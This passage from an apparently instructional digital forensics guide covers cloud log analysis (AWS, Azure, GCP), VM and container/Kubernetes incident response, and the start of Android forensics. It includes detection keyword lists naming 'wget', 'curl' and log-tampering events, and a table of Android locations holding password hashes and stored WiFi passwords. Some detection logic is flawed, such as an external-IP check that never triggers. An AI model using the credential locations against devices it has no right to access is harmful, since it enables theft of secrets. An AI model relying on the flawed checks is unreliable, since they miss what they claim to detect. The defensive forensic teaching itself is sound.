parse_cloudtrail_logs(log_directory):\n    \"\"\"Parse AWS CloudTrail logs from directory\"\"\"\n    \n    events = []\n    \n    for root, dirs, files in os.walk(log_directory):\n        for file in files:\n            if file.endswith('.json.gz') or file.endswith('.json'):\n                file_path = os.path.join(root, file)\n                \n                # Handle compressed logs\n                if file.endswith('.gz'):\n                    with gzip.open(file_path, 'rt') as f:\n                        data = json.load(f)\n                else:\n                    with open(file_path, 'r') as f:\n                        data = json.load(f)\n                \n                # Extract records\n                for record in data.get('Records', []):\n                    events.append({\n                        'event_time': datetime.fromisoformat(record['eventTime'].replace('Z', '+00:00')),\n                        'event_name': record['eventName'],\n                        'event_source': record['eventSource'],\n                        'user': record['userIdentity'].get('userName', 'Unknown'),\n                        'source_ip': record.get('sourceIPAddress', 'Unknown'),\n                        'region': record['awsRegion'],\n                        'user_agent': record.get('userAgent', 'Unknown'),\n                        'request': record.get('requestParameters', {}),\n                        'response': record.get('responseElements', {})\n                    })\n    \n    return events\n\ndef analyze_cloudtrail(events):\n    \"\"\"Analyze CloudTrail events for suspicious activity\"\"\"\n    \n    analysis = {\n        'total_events': len(events),\n        'time_range': {\n            'start': min(e['event_time'] for e in events) if events else None,\n            'end': max(e['event_time'] for e in events) if events else None\n        },\n        'event_counts': Counter(e['event_name'] for e in events),\n        'user_counts': Counter(e['user'] for e in events),\n        'source_ips': Counter(e['source_ip'] for e in events),\n        'suspicious_events': []\n    }\n    \n    # Identify suspicious patterns\n    suspicious_patterns = [\n        'ConsoleLogin', 'CreateUser', 'CreateAccessKey',\n        'DeleteTrail', 'StopLogging', 'UpdateTrail',\n        'AuthorizeSecurityGroupIngress', 'RunInstances',\n        'CreateKeyPair', 'DeleteKeyPair', 'ModifyInstanceAttribute'\n    ]\n    \n    for event in events:\n        # Check for sensitive events\n        if event['event_name'] in suspicious_patterns:\n            analysis['suspicious_events'].append(event)\n        \n        # Check for unusual source IPs\n        if not event['source_ip'].startswith(('10.', '172.', '192.168.')):\n            if event['source_ip'] not in analysis['source_ips']:\n                # External IP\n                analysis['suspicious_events'].append(event)\n    \n    return analysis\n\n# Parse and analyze CloudTrail\nevents = parse_cloudtrail_logs('aws_logs/')\nanalysis = analyze_cloudtrail(events)\nprint(f\"Total events: {analysis['total_events']}\")\nprint(f\"Time range: {analysis['time_range']['start']} to {analysis['time_range']['end']}\")\nprint(f\"Top events: {analysis['event_counts'].most_common(5)}\")\nprint(f\"Suspicious events: {len(analysis['suspicious_events'])}\")\n```\n\n#### AWS VPC Flow Logs\n\nVPC Flow Logs capture IP traffic information for network interfaces.\n\n**Flow Log Format:**\n```\nversion account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status\n2 123456789012 eni-12345678 192.168.1.10 10.0.0.5 12345 80 6 10 1024 1686824050 1686824080 ACCEPT OK\n```\n\n#### Analyzing VPC Flow Logs\n\n```python\ndef parse_vpc_flow_logs(log_file):\n    \"\"\"Parse VPC Flow Logs\"\"\"\n    \n    flows = []\n    \n    with open(log_file, 'r') as f:\n        for line in f:\n            if line.startswith('#'):\n                continue\n            \n            parts = line.strip().split()\n            if len(parts) >= 14:\n                flow = {\n                    'version': parts[0],\n                    'account_id': parts[1],\n                    'interface_id': parts[2],\n                    'src_ip': parts[3],\n                    'dst_ip': parts[4],\n                    'src_port': int(parts[5]) if parts[5] != '-' else None,\n                    'dst_port': int(parts[6]) if parts[6] != '-' else None,\n                    'protocol': parts[7],\n                    'packets': int(parts[8]),\n                    'bytes': int(parts[9]),\n                    'start_time': datetime.fromtimestamp(int(parts[10])),\n                    'end_time': datetime.fromtimestamp(int(parts[11])),\n                    'action': parts[12],\n                    'log_status': parts[13]\n                }\n                flows.append(flow)\n    \n    return flows\n\ndef detect_data_exfiltration(flows, threshold_bytes=100000000):\n    \"\"\"Detect potential data exfiltration in VPC flows\"\"\"\n    \n    # Group by destination IP\n    from collections import defaultdict\n    by_dest = defaultdict(list)\n    \n    for flow in flows:\n        if flow['action'] == 'ACCEPT':\n            by_dest[flow['dst_ip']].append(flow)\n    \n    suspicious = []\n    \n    for dest_ip, dest_flows in by_dest.items():\n        total_bytes = sum(f['bytes'] for f in dest_flows)\n        \n        if total_bytes > threshold_bytes:\n            # Check if destination is external\n            if not dest_ip.startswith(('10.', '172.16.', '172.17.', '172.18.', '172.19.',\n                                      '172.20.', '172.21.', '172.22.', '172.23.',\n                                      '172.24.', '172.25.', '172.26.', '172.27.',\n                                      '172.28.', '172.29.', '172.30.', '172.31.',\n                                      '192.168.')):\n                suspicious.append({\n                    'dest_ip': dest_ip,\n                    'total_bytes': total_bytes,\n                    'total_packets': sum(f['packets'] for f in dest_flows),\n                    'flow_count': len(dest_flows),\n                    'time_range': {\n                        'start': min(f['start_time'] for f in dest_flows),\n                        'end': max(f['end_time'] for f in dest_flows)\n                    }\n                })\n    \n    return suspicious\n\n# Analyze flows\nflows = parse_vpc_flow_logs('vpc_flows.log')\nexfiltration = detect_data_exfiltration(flows)\nfor ex in exfiltration:\n    print(f\"\\nSuspicious exfiltration to {ex['dest_ip']}\")\n    print(f\"  Bytes: {ex['total_bytes']:,}\")\n    print(f\"  Flows: {ex['flow_count']}\")\n    print(f\"  Time: {ex['time_range']['start']} to {ex['time_range']['end']}\")\n```\n\n#### AWS S3 Access Logs\n\n```python\ndef parse_s3_access_logs(log_file):\n    \"\"\"Parse S3 server access logs\"\"\"\n    \n    accesses = []\n    \n    with open(log_file, 'r') as f:\n        for line in f:\n            # S3 log format (space-separated with quotes)\n            parts = line.split()\n            if len(parts) >= 15:\n                access = {\n                    'bucket_owner': parts[0],\n                    'bucket': parts[1],\n                    'time': datetime.strptime(f\"{parts[2]} {parts[3]}\", '[%d/%b/%Y:%H:%M:%S %z'),\n                    'remote_ip': parts[4],\n                    'requester': parts[5].strip('\"'),\n                    'request_id': parts[6],\n                    'operation': parts[7],\n                    'key': parts[8].strip('\"'),\n                    'request_uri': parts[9].strip('\"'),\n                    'status_code': int(parts[10]),\n                    'error_code': parts[11].strip('\"') if parts[11] != '-' else None,\n                    'bytes_sent': int(parts[12]) if parts[12] != '-' else 0,\n                    'object_size': int(parts[13]) if parts[13] != '-' else 0,\n                    'total_time': int(parts[14]) if parts[14] != '-' else 0\n                }\n                accesses.append(access)\n    \n    return accesses\n\ndef detect_s3_data_theft(accesses, threshold_bytes=10000000):\n    \"\"\"Detect potential data theft from S3 buckets\"\"\"\n    \n    # Group by requester and key\n    from collections import defaultdict\n    by_requester = defaultdict(lambda: defaultdict(int))\n    \n    for access in accesses:\n        if access['operation'] in ['REST.GET.OBJECT', 'REST.GET.OBJECT_GET']:\n            by_requester[access['requester']][access['key']] += access['bytes_sent']\n    \n    suspicious = []\n    \n    for requester, downloads in by_requester.items():\n        total_bytes = sum(downloads.values())\n        \n        if total_bytes > threshold_bytes:\n            suspicious.append({\n                'requester': requester,\n                'total_bytes': total_bytes,\n                'files_downloaded': len(downloads),\n                'largest_files': sorted(downloads.items(), key=lambda x: x[1], reverse=True)[:5],\n                'time_range': {\n                    'start': min(a['time'] for a in accesses if a['requester'] == requester),\n                    'end': max(a['time'] for a in accesses if a['requester'] == requester)\n                }\n            })\n    \n    return suspicious\n```\n\n---\n\n### 12.3 Azure Monitoring Logs\n\nAzure provides multiple logging services through Azure Monitor.\n\n#### Azure Activity Log\n\n```python\nimport requests\nfrom azure.identity import ClientSecretCredential\nfrom azure.monitor.query import LogsQueryClient\n\ndef query_azure_activity_logs(tenant_id, client_id, client_secret, subscription_id):\n    \"\"\"Query Azure Activity Logs\"\"\"\n    \n    # Authenticate\n    credential = ClientSecretCredential(tenant_id, client_id, client_secret)\n    client = LogsQueryClient(credential)\n    \n    # Query Activity Log\n    query = f\"\"\"\n    AzureActivity\n    | where TimeGenerated > ago(7d)\n    | project TimeGenerated, OperationName, Caller, Resource, \n              ResourceGroup, _ResourceId, HttpRequest\n    | order by TimeGenerated desc\n    \"\"\"\n    \n    response = client.query_workspace(\n        workspace_id=subscription_id,\n        query=query,\n        timespan=timedelta(days=7)\n    )\n    \n    events = []\n    for row in response.tables[0].rows:\n        events.append({\n            'time': row[0],\n            'operation': row[1],\n            'caller': row[2],\n            'resource': row[3],\n            'resource_group': row[4],\n            'resource_id': row[5]\n        })\n    \n    return events\n\ndef analyze_azure_activity(events):\n    \"\"\"Analyze Azure Activity Logs for security events\"\"\"\n    \n    analysis = {\n        'total_events': len(events),\n        'operations': Counter(),\n        'callers': Counter(),\n        'resources': Counter(),\n        'suspicious': []\n    }\n    \n    suspicious_operations = [\n        'Delete', 'Update', 'Write', 'Create',\n        'Authorize', 'Add', 'Remove', 'Reset'\n    ]\n    \n    for event in events:\n        analysis['operations'][event['operation']] += 1\n        analysis['callers'][event['caller']] += 1\n        analysis['resources'][event['resource']] += 1\n        \n        # Check for suspicious operations\n        if any(sus in event['operation'] for sus in suspicious_operations):\n            analysis['suspicious'].append(event)\n        \n        # Check for unusual callers\n        if event['caller'] and not '@' in event['caller']:\n            # Probably not a user email\n            analysis['suspicious'].append(event)\n    \n    return analysis\n```\n\n#### Azure Security Center Alerts\n\n```python\ndef parse_azure_security_alerts(alert_file):\n    \"\"\"Parse Azure Security Center alerts\"\"\"\n    \n    alerts = []\n    \n    with open(alert_file, 'r') as f:\n        data = json.load(f)\n        \n        for alert in data.get('value', []):\n            parsed = {\n                'id': alert.get('id'),\n                'name': alert.get('name'),\n                'type': alert.get('type'),\n                'time': alert.get('properties', {}).get('timeGenerated'),\n                'vendor': alert.get('properties', {}).get('vendorName'),\n                'severity': alert.get('properties', {}).get('severity'),\n                'description': alert.get('properties', {}).get('description'),\n                'alert_type': alert.get('properties', {}).get('alertType'),\n                'entities': alert.get('properties', {}).get('entities', [])\n            }\n            alerts.append(parsed)\n    \n    return alerts\n\ndef correlate_azure_alerts(alerts, time_window=3600):\n    \"\"\"Correlate related Azure alerts\"\"\"\n    \n    correlations = []\n    processed = set()\n    \n    for i, alert in enumerate(alerts):\n        if alert['id'] in processed:\n            continue\n        \n        alert_time = datetime.fromisoformat(alert['time'].replace('Z', '+00:00'))\n        \n        # Find related alerts within time window\n        related = [alert]\n        processed.add(alert['id'])\n        \n        for j, other in enumerate(alerts):\n            if other['id'] in processed:\n                continue\n            \n            other_time = datetime.fromisoformat(other['time'].replace('Z', '+00:00'))\n            time_diff = abs((other_time - alert_time).total_seconds())\n            \n            if time_diff <= time_window:\n                # Check if entities overlap\n                if any(e in alert['entities'] for e in other['entities']):\n                    related.append(other)\n                    processed.add(other['id'])\n        \n        if len(related) > 1:\n            correlations.append({\n                'time': alert_time,\n                'alerts': related,\n                'count': len(related),\n                'severities': [a['severity'] for a in related]\n            })\n    \n    return correlations\n```\n\n---\n\n### 12.4 Google Cloud Audit Logs\n\nGoogle Cloud provides audit logs for all services.\n\n#### Google Cloud Logging\n\n```python\nfrom google.cloud import logging\nfrom google.cloud.logging import DESCENDING\n\ndef query_gcp_audit_logs(project_id, days=7):\n    \"\"\"Query Google Cloud Audit Logs\"\"\"\n    \n    client = logging.Client(project=project_id)\n    \n    # Build filter\n    filter_str = f\"\"\"\n    logName=\"projects/{project_id}/logs/cloudaudit.googleapis.com%2Factivity\"\n    AND timestamp >= \"{datetime.now() - timedelta(days=days)}\"\n    \"\"\"\n    \n    entries = []\n    for entry in client.list_entries(filter_=filter_str, order_by=DESCENDING):\n        entries.append({\n            'timestamp': entry.timestamp,\n            'severity': entry.severity,\n            'log_name': entry.log_name,\n            'resource': entry.resource,\n            'payload': entry.payload,\n            'proto_payload': entry.proto_payload\n        })\n        \n        if len(entries) >= 10000:  # Limit\n            break\n    \n    return entries\n\ndef parse_gcp_audit_log(entry):\n    \"\"\"Parse individual GCP audit log entry\"\"\"\n    \n    if entry['proto_payload']:\n        payload = entry['proto_payload']\n        \n        parsed = {\n            'timestamp': entry['timestamp'],\n            'method': payload.get('methodName'),\n            'service': payload.get('serviceName'),\n            'resource': payload.get('resourceName'),\n            'authentication': payload.get('authenticationInfo', {}),\n            'authorization': payload.get('authorizationInfo', []),\n            'request': payload.get('request', {}),\n            'response': payload.get('response', {})\n        }\n        \n        return parsed\n    \n    return None\n```\n\n---\n\n### 12.5 Virtual Machine Artifacts\n\nVirtual machines present unique forensic artifacts beyond physical systems.\n\n#### VM File Types\n\n| Hypervisor | VM Files | Description |\n|------------|----------|-------------|\n| **VMware** | .vmdk | Virtual disk |\n| | .vmem | Memory file (when suspended) |\n| | .vmss | Suspended state |\n| | .vmsn | Snapshot |\n| | .log | VM logs |\n| **Hyper-V** | .vhdx | Virtual disk |\n| | .vmcx | Configuration |\n| | .vmrs | Runtime state |\n| | .bin | Memory file |\n| **VirtualBox** | .vdi | Virtual disk |\n| | .sav | Saved state |\n\n#### Acquiring VM Evidence\n\n```python\nimport subprocess\nimport os\nimport shutil\n\ndef acquire_vm_evidence(vm_path, output_dir):\n    \"\"\"Acquire forensic evidence from VM\"\"\"\n    \n    evidence = {}\n    \n    # 1. Copy VM files\n    if os.path.exists(vm_path):\n        vm_name = os.path.basename(vm_path)\n        vm_evidence_dir = os.path.join(output_dir, vm_name)\n        os.makedirs(vm_evidence_dir, exist_ok=True)\n        \n        # Copy all VM files\n        for item in os.listdir(vm_path):\n            src = os.path.join(vm_path, item)\n            dst = os.path.join(vm_evidence_dir, item)\n            \n            if os.path.isfile(src):\n                shutil.copy2(src, dst)\n                evidence[item] = {\n                    'path': dst,\n                    'size': os.path.getsize(src),\n                    'modified': datetime.fromtimestamp(os.path.getmtime(src))\n                }\n    \n    # 2. Convert VMDK to raw for analysis\n    for file in evidence:\n        if file.endswith('.vmdk') and not file.endswith('-flat.vmdk'):\n            vmdk_path = evidence[file]['path']\n            raw_path = vmdk_path.replace('.vmdk', '.raw')\n            \n            try:\n                # Use qemu-img to convert\n                subprocess.run([\n                    'qemu-img', 'convert', '-f', 'vmdk',\n                    '-O', 'raw', vmdk_path, raw_path\n                ], check=True)\n                \n                evidence['raw_disk'] = {\n                    'path': raw_path,\n                    'size': os.path.getsize(raw_path)\n                }\n            except:\n                print(f\"Failed to convert {vmdk_path}\")\n    \n    return evidence\n\ndef parse_vm_logs(vm_path):\n    \"\"\"Parse VM logs for forensic evidence\"\"\"\n    \n    logs = []\n    \n    # Find log files\n    for root, dirs, files in os.walk(vm_path):\n        for file in files:\n            if file.endswith('.log'):\n                log_path = os.path.join(root, file)\n                \n                with open(log_path, 'r') as f:\n                    for line in f:\n                        # Parse VMware log format\n                        if '|' in line:\n                            parts = line.split('|')\n                            if len(parts) >= 4:\n                                logs.append({\n                                    'timestamp': parts[0].strip(),\n                                    'thread': parts[1].strip(),\n                                    'level': parts[2].strip(),\n                                    'module': parts[3].strip(),\n                                    'message': '|'.join(parts[4:]).strip()\n                                })\n    \n    return logs\n```\n\n#### Analyzing VM Snapshots\n\n```python\ndef analyze_vm_snapshots(vm_path):\n    \"\"\"Analyze VM snapshots for timeline\"\"\"\n    \n    snapshots = []\n    \n    # Look for snapshot files\n    for root, dirs, files in os.walk(vm_path):\n        for file in files:\n            if file.endswith('.vmsn') or file.endswith('.vmss'):\n                snapshot_path = os.path.join(root, file)\n                stat = os.stat(snapshot_path)\n                \n                snapshots.append({\n                    'file': file,\n                    'path': snapshot_path,\n                    'type': 'snapshot' if file.endswith('.vmsn') else 'suspended',\n                    'created': datetime.fromtimestamp(stat.st_ctime),\n                    'modified': datetime.fromtimestamp(stat.st_mtime),\n                    'size': stat.st_size\n                })\n    \n    # Sort by time\n    snapshots.sort(key=lambda x: x['created'])\n    \n    return snapshots\n\ndef extract_snapshot_memory(vmsn_path):\n    \"\"\"Extract memory from VMware snapshot\"\"\"\n    \n    # vmsn files contain memory state\n    # This is complex - typically use volatility with vmware snapshot support\n    \n    import volatility3\n    \n    # Volatility 3 can analyze .vmsn files directly\n    result = subprocess.run([\n        'python3', 'vol.py', '-f', vmsn_path, 'windows.info'\n    ], capture_output=True, text=True)\n    \n    return result.stdout\n```\n\n---\n\n### 12.6 Container Forensics\n\nContainers (Docker, Kubernetes) present new forensic challenges.\n\n#### Docker Container Artifacts\n\n```python\nimport docker\nimport tarfile\nimport io\n\ndef analyze_docker_container(container_id):\n    \"\"\"Forensic analysis of Docker container\"\"\"\n    \n    client = docker.from_env()\n    \n    analysis = {}\n    \n    try:\n        container = client.containers.get(container_id)\n        \n        # Basic info\n        analysis['info'] = {\n            'id': container.id,\n            'name': container.name,\n            'image': container.image.tags,\n            'status': container.status,\n            'created': container.attrs['Created'],\n            'command': container.attrs['Config']['Cmd'],\n            'entrypoint': container.attrs['Config']['Entrypoint']\n        }\n        \n        # Export filesystem\n        bits, stat = container.get_archive('/')\n        \n        # Save to tar file\n        with open(f\"{container_id}_fs.tar\", 'wb') as f:\n            for chunk in bits:\n                f.write(chunk)\n        \n        # Get logs\n        analysis['logs'] = container.logs(timestamps=True).decode('utf-8', errors='ignore')\n        \n        # Get process list\n        top = container.top()\n        analysis['processes'] = top.get('Processes', [])\n        \n        # Get mounts\n        analysis['mounts'] = container.attrs.get('Mounts', [])\n        \n    except Exception as e:\n        print(f\"Error analyzing container: {e}\")\n    \n    return analysis\n\ndef analyze_container_image(image_name):\n    \"\"\"Analyze container image layers\"\"\"\n    \n    client = docker.from_env()\n    \n    analysis = {\n        'layers': [],\n        'config': {},\n        'vulnerabilities': []\n    }\n    \n    try:\n        image = client.images.get(image_name)\n        \n        # Get image history\n        history = image.history()\n        for layer in history:\n            analysis['layers'].append({\n                'id': layer.get('Id'),\n                'created': layer.get('Created'),\n                'created_by': layer.get('CreatedBy'),\n                'size': layer.get('Size'),\n                'tags': layer.get('Tags', [])\n            })\n        \n        # Get image config\n        analysis['config'] = image.attrs.get('Config', {})\n        \n        # Check for vulnerabilities (simplified)\n        # In practice, use Trivy, Clair, etc.\n        \n    except Exception as e:\n        print(f\"Error analyzing image: {e}\")\n    \n    return analysis\n```\n\n#### Kubernetes Forensics\n\n```python\nfrom kubernetes import client, config\n\ndef analyze_kubernetes_cluster(kubeconfig_path):\n    \"\"\"Forensic analysis of Kubernetes cluster\"\"\"\n    \n    # Load config\n    config.load_kube_config(config_file=kubeconfig_path)\n    \n    v1 = client.CoreV1Api()\n    apps_v1 = client.AppsV1Api()\n    \n    analysis = {\n        'nodes': [],\n        'pods': [],\n        'services': [],\n        'events': [],\n        'configmaps': [],\n        'secrets': []\n    }\n    \n    # Get nodes\n    nodes = v1.list_node()\n    for node in nodes.items:\n        analysis['nodes'].append({\n            'name': node.metadata.name,\n            'status': node.status.conditions[-1].type if node.status.conditions else 'Unknown',\n            'addresses': [addr.address for addr in node.status.addresses],\n            'capacity': node.status.capacity,\n            'labels': node.metadata.labels\n        })\n    \n    # Get pods\n    pods = v1.list_pod_for_all_namespaces()\n    for pod in pods.items:\n        analysis['pods'].append({\n            'namespace': pod.metadata.namespace,\n            'name': pod.metadata.name,\n            'status': pod.status.phase,\n            'node': pod.spec.node_name,\n            'containers': [c.name for c in pod.spec.containers],\n            'labels': pod.metadata.labels,\n            'start_time': pod.status.start_time\n        })\n    \n    # Get events\n    events = v1.list_event_for_all_namespaces()\n    for event in events.items:\n        analysis['events'].append({\n            'namespace': event.metadata.namespace,\n            'type': event.type,\n            'reason': event.reason,\n            'message': event.message,\n            'source': event.source.component if event.source else None,\n            'first_seen': event.first_timestamp,\n            'last_seen': event.last_timestamp,\n            'count': event.count\n        })\n    \n    # Get configmaps (be careful with sensitive data)\n    configmaps = v1.list_config_map_for_all_namespaces()\n    for cm in configmaps.items:\n        analysis['configmaps'].append({\n            'namespace': cm.metadata.namespace,\n            'name': cm.metadata.name,\n            'keys': list(cm.data.keys()) if cm.data else []\n        })\n    \n    return analysis\n\ndef get_pod_logs(pod_namespace, pod_name, container_name=None):\n    \"\"\"Get logs from specific pod\"\"\"\n    \n    config.load_kube_config()\n    v1 = client.CoreV1Api()\n    \n    # Get logs\n    logs = v1.read_namespaced_pod_log(\n        name=pod_name,\n        namespace=pod_namespace,\n        container=container_name,\n        timestamps=True,\n        tail_lines=1000  # Last 1000 lines\n    )\n    \n    return logs\n```\n\n---\n\n### 12.7 Kubernetes Investigation Workflow\n\n#### Complete Kubernetes Incident Response\n\n```python\ndef kubernetes_incident_response(kubeconfig_path, compromised_namespace, compromised_pod):\n    \"\"\"Complete incident response workflow for Kubernetes\"\"\"\n    \n    import yaml\n    from datetime import datetime\n    \n    incident_data = {\n        'timestamp': datetime.now(),\n        'cluster_info': {},\n        'pod_info': {},\n        'container_logs': {},\n        'network_policies': [],\n        'rbac_info': {},\n        'timeline': []\n    }\n    \n    # Load config\n    config.load_kube_config(config_file=kubeconfig_path)\n    v1 = client.CoreV1Api()\n    rbac_v1 = client.RbacAuthorizationV1Api()\n    networking_v1 = client.NetworkingV1Api()\n    \n    # 1. Get pod details\n    pod = v1.read_namespaced_pod(compromised_pod, compromised_namespace)\n    incident_data['pod_info'] = {\n        'name': pod.metadata.name,\n        'namespace': pod.metadata.namespace,\n        'uid': pod.metadata.uid,\n        'labels': pod.metadata.labels,\n        'annotations': pod.metadata.annotations,\n        'node': pod.spec.node_name,\n        'containers': [],\n        'status': pod.status.phase,\n        'start_time': pod.status.start_time\n    }\n    \n    # 2. Get container info and logs\n    for container in pod.spec.containers:\n        container_info = {\n            'name': container.name,\n            'image': container.image,\n            'command': container.command,\n            'args': container.args,\n            'ports': [p.container_port for p in container.ports] if container.ports else [],\n            'env': [{'name': e.name, 'value': e.value} for e in container.env] if container.env else []\n        }\n        \n        # Get logs\n        try:\n            logs = v1.read_namespaced_pod_log(\n                name=compromised_pod,\n                namespace=compromised_namespace,\n                container=container.name,\n                timestamps=True,\n                tail_lines=10000\n            )\n            incident_data['container_logs'][container.name] = logs\n        except:\n            incident_data['container_logs'][container.name] = \"Logs unavailable\"\n        \n        incident_data['pod_info']['containers'].append(container_info)\n    \n    # 3. Get events for this pod\n    events = v1.list_namespaced_event(compromised_namespace)\n    for event in events.items:\n        if event.involved_object.name == compromised_pod:\n            incident_data['timeline'].append({\n                'time': event.last_timestamp or event.first_timestamp,\n                'type': event.type,\n                'reason': event.reason,\n                'message': event.message,\n                'source': event.source.component if event.source else None\n            })\n    \n    # 4. Check network policies affecting this pod\n    network_policies = networking_v1.list_namespaced_network_policy(compromised_namespace)\n    for np in network_policies.items:\n        # Check if policy selects this pod\n        if np.spec.pod_selector.match_labels:\n            if all(item in pod.metadata.labels.items() \n                   for item in np.spec.pod_selector.match_labels.items()):\n                incident_data['network_policies'].append({\n                    'name': np.metadata.name,\n                    'policy_types': np.spec.policy_types,\n                    'ingress_rules': len(np.spec.ingress) if np.spec.ingress else 0,\n                    'egress_rules': len(np.spec.egress) if np.spec.egress else 0\n                })\n    \n    # 5. Check RBAC permissions\n    roles = rbac_v1.list_namespaced_role(compromised_namespace)\n    rolebindings = rbac_v1.list_namespaced_role_binding(compromised_namespace)\n    \n    incident_data['rbac_info'] = {\n        'roles': [],\n        'bindings': []\n    }\n    \n    for role in roles.items:\n        incident_data['rbac_info']['roles'].append({\n            'name': role.metadata.name,\n            'rules': len(role.rules)\n        })\n    \n    for binding in rolebindings.items:\n        # Check if this binding affects the pod's service account\n        if binding.subjects:\n            for subject in binding.subjects:\n                if subject.kind == 'ServiceAccount' and subject.namespace == compromised_namespace:\n                    incident_data['rbac_info']['bindings'].append({\n                        'name': binding.metadata.name,\n                        'role': binding.role_ref.name,\n                        'subject': subject.name\n                    })\n    \n    # 6. Export for preservation\n    with open(f\"k8s_incident_{compromised_namespace}_{compromised_pod}.yaml\", 'w') as f:\n        yaml.dump(incident_data, f)\n    \n    return incident_data\n\n# Run investigation\nincident = kubernetes_incident_response(\n    '~/.kube/config',\n    'production',\n    'compromised-pod-abc123'\n)\n\nprint(f\"Investigation complete for pod {incident['pod_info']['name']}\")\nprint(f\"Containers: {len(incident['pod_info']['containers'])}\")\nprint(f\"Events found: {len(incident['timeline'])}\")\n```\n\n#### Container Image Forensics\n\n```python\ndef analyze_container_image_filesystem(image_name):\n    \"\"\"Extract and analyze container image filesystem\"\"\"\n    \n    import tarfile\n    import tempfile\n    import os\n    \n    client = docker.from_env()\n    \n    # Pull image if not present\n    try:\n        image = client.images.get(image_name)\n    except:\n        print(f\"Pulling image {image_name}\")\n        image = client.images.pull(image_name)\n    \n    # Save image to tar\n    with tempfile.NamedTemporaryFile(suffix='.tar', delete=False) as tmp:\n        with open(tmp.name, 'wb') as f:\n            for chunk in image.save():\n                f.write(chunk)\n    \n    # Extract tar\n    extract_dir = tempfile.mkdtemp()\n    with tarfile.open(tmp.name) as tar:\n        tar.extractall(extract_dir)\n    \n    # Analyze layers\n    layers = []\n    for item in os.listdir(extract_dir):\n        if os.path.isdir(os.path.join(extract_dir, item)):\n            # Check if it's a layer directory\n            layer_path = os.path.join(extract_dir, item, 'layer.tar')\n            if os.path.exists(layer_path):\n                layer_info = analyze_layer(layer_path)\n                layers.append(layer_info)\n    \n    # Cleanup\n    os.unlink(tmp.name)\n    # In practice, would clean up extract_dir\n    \n    return {\n        'image': image_name,\n        'layers': layers,\n        'total_layers': len(layers)\n    }\n\ndef analyze_layer(layer_tar_path):\n    \"\"\"Analyze a single container layer\"\"\"\n    \n    import hashlib\n    \n    analysis = {\n        'files': [],\n        'suspicious_files': [],\n        'total_size': 0,\n        'hash': None\n    }\n    \n    # Calculate layer hash\n    with open(layer_tar_path, 'rb') as f:\n        analysis['hash'] = hashlib.sha256(f.read()).hexdigest()\n    \n    # Analyze contents\n    with tarfile.open(layer_tar_path) as tar:\n        for member in tar.getmembers():\n            file_info = {\n                'name': member.name,\n                'size': member.size,\n                'mode': member.mode,\n                'type': 'dir' if member.isdir() else 'file' if member.isfile() else 'link',\n                'mtime': member.mtime\n            }\n            analysis['files'].append(file_info)\n            analysis['total_size'] += member.size\n            \n            # Check for suspicious files\n            suspicious_patterns = ['.sh', 'bash', 'python', 'perl', 'wget', 'curl']\n            if any(pattern in member.name for pattern in suspicious_patterns):\n                analysis['suspicious_files'].append(file_info)\n    \n    return analysis\n```\n\n---\n\n# PART VI \u2013 MOBILE, IoT & EMERGING TECH\n\n---\n\n## Chapter 13 \u2013 Mobile Forensics\n\n---\n\n### 13.1 Introduction to Mobile Forensics\n\nMobile devices have become ubiquitous and contain vast amounts of personal and professional data. Unlike traditional computers, mobile devices present unique challenges including encryption, diverse operating systems, and constant network connectivity.\n\n#### Mobile Device Evidence Types\n\n| Data Category | Examples | Forensic Value |\n|--------------|----------|----------------|\n| **Communications** | Calls, SMS, MMS, VoIP logs | Contacts, timeline |\n| **Messaging Apps** | WhatsApp, Signal, Telegram | Conversations, media |\n| **Location Data** | GPS coordinates, WiFi networks | Movement tracking |\n| **Application Data** | Social media, email, notes | User activity |\n| **System Data** | Call logs, contacts, calendars | Personal information |\n| **Media** | Photos, videos, audio files | Visual evidence |\n| **Cloud Data** | iCloud, Google Drive, OneDrive | Extended storage |\n\n#### Mobile Forensic Process\n\n```\n1. SEIZURE\n   - Isolate from network (Faraday bag)\n   - Preserve power (don't let battery die)\n   - Document device state\n   - Note lock screen/passcode\n\n2. ACQUISITION\n   - Logical (file system access)\n   - Physical (bit-for-bit copy)\n   - Chip-off (direct memory read)\n   - Cloud (backup extraction)\n\n3. EXAMINATION\n   - Parse databases\n   - Extract artifacts\n   - Recover deleted data\n   - Decrypt if possible\n\n4. ANALYSIS\n   - Timeline creation\n   - Communications mapping\n   - Location tracking\n   - App usage patterns\n\n5. REPORTING\n   - Document findings\n   - Visualize relationships\n   - Expert testimony\n```\n\n---\n\n### 13.2 Android File System\n\nAndroid is based on Linux and uses similar file system structures.\n\n#### Android Partition Layout\n\n```\n/boot          - Kernel and ramdisk\n/system         - System files (read-only)\n/data           - User data and apps\n/cache          - Temporary files\n/recovery       - Recovery mode\n/sdcard         - External/emulated storage\n```\n\n#### Key Android Forensic Locations\n\n| Path | Content | Forensic Value |\n|------|---------|----------------|\n| /data/data/com.android.providers.telephony/databases/mmssms.db | SMS/MMS messages | Communications |\n| /data/data/com.android.providers.contacts/databases/contacts2.db | Contacts | Contact list |\n| /data/data/com.android.providers.calendar/databases/calendar.db | Calendar events | Schedule |\n| /data/data/com.android.browser/databases/browser.db | Browser history | Web activity |\n| /data/data/com.google.android.gms/databases/ | Google services | Location, searches |\n| /data/data/com.whatsapp/databases/ | WhatsApp data | Messages, media |\n| /data/system/gesture.key | Screen lock pattern | Authentication |\n| /data/system/password.key | Password hash | Authentication |\n| /data/misc/wifi/wpa_supplicant.conf | WiFi passwords | Network access |\n\n#### Android SQLite Database Analysis\n\n```python\nimport sqlite3\nimport os\nfrom datetime import datetime\n\ndef analyze_android_sms(mmssms_db):\n    \"\"\"Analyze Android SMS/MMS database\"\"\"\n    \n    conn = sqlite3.connect(mmssms_db)\n    cursor = conn.cursor()\n    \n    messages = []\n    \n    # Query SMS table\n    cursor.execute(\"\"\"\n        SELECT address, date, date_sent, body, type, read, status\n        FROM sms\n        ORDER BY date DESC\n    \"\"\")\n    \n    for row in cursor.fetchall():\n        # Android stores dates in milliseconds since 1970\n        date_received = datetime.fromtimestamp(int(row[1]) / 1000) if row[1] else None\n        date_sent = datetime.fromtimestamp(int(row[2]) / 1000) if row[2] else None\n        \n        # Message type: 1=inbox, 2=sent, 3=draft, 4=outbox\n        msg_type = ['Unknown', 'Inbox', 'Sent', 'Draft', 'Outbox'][row[4]] if row[4] <= 4 else 'Unknown'\n        \n        messages.append({\n            'address': row[0],\n            'date_received': date_received,\n            'date_sent': date_sent,\n            'body': row[3],\n            'type': msg_type,\n            'read': bool(row[5]),\n            'status': row[6]\n        })\n    \n    conn.close()\n    return messages\n\ndef analyze_android_contacts(contacts_db):\n    \"\"\"Analyze Android contacts database\"\"\"\n    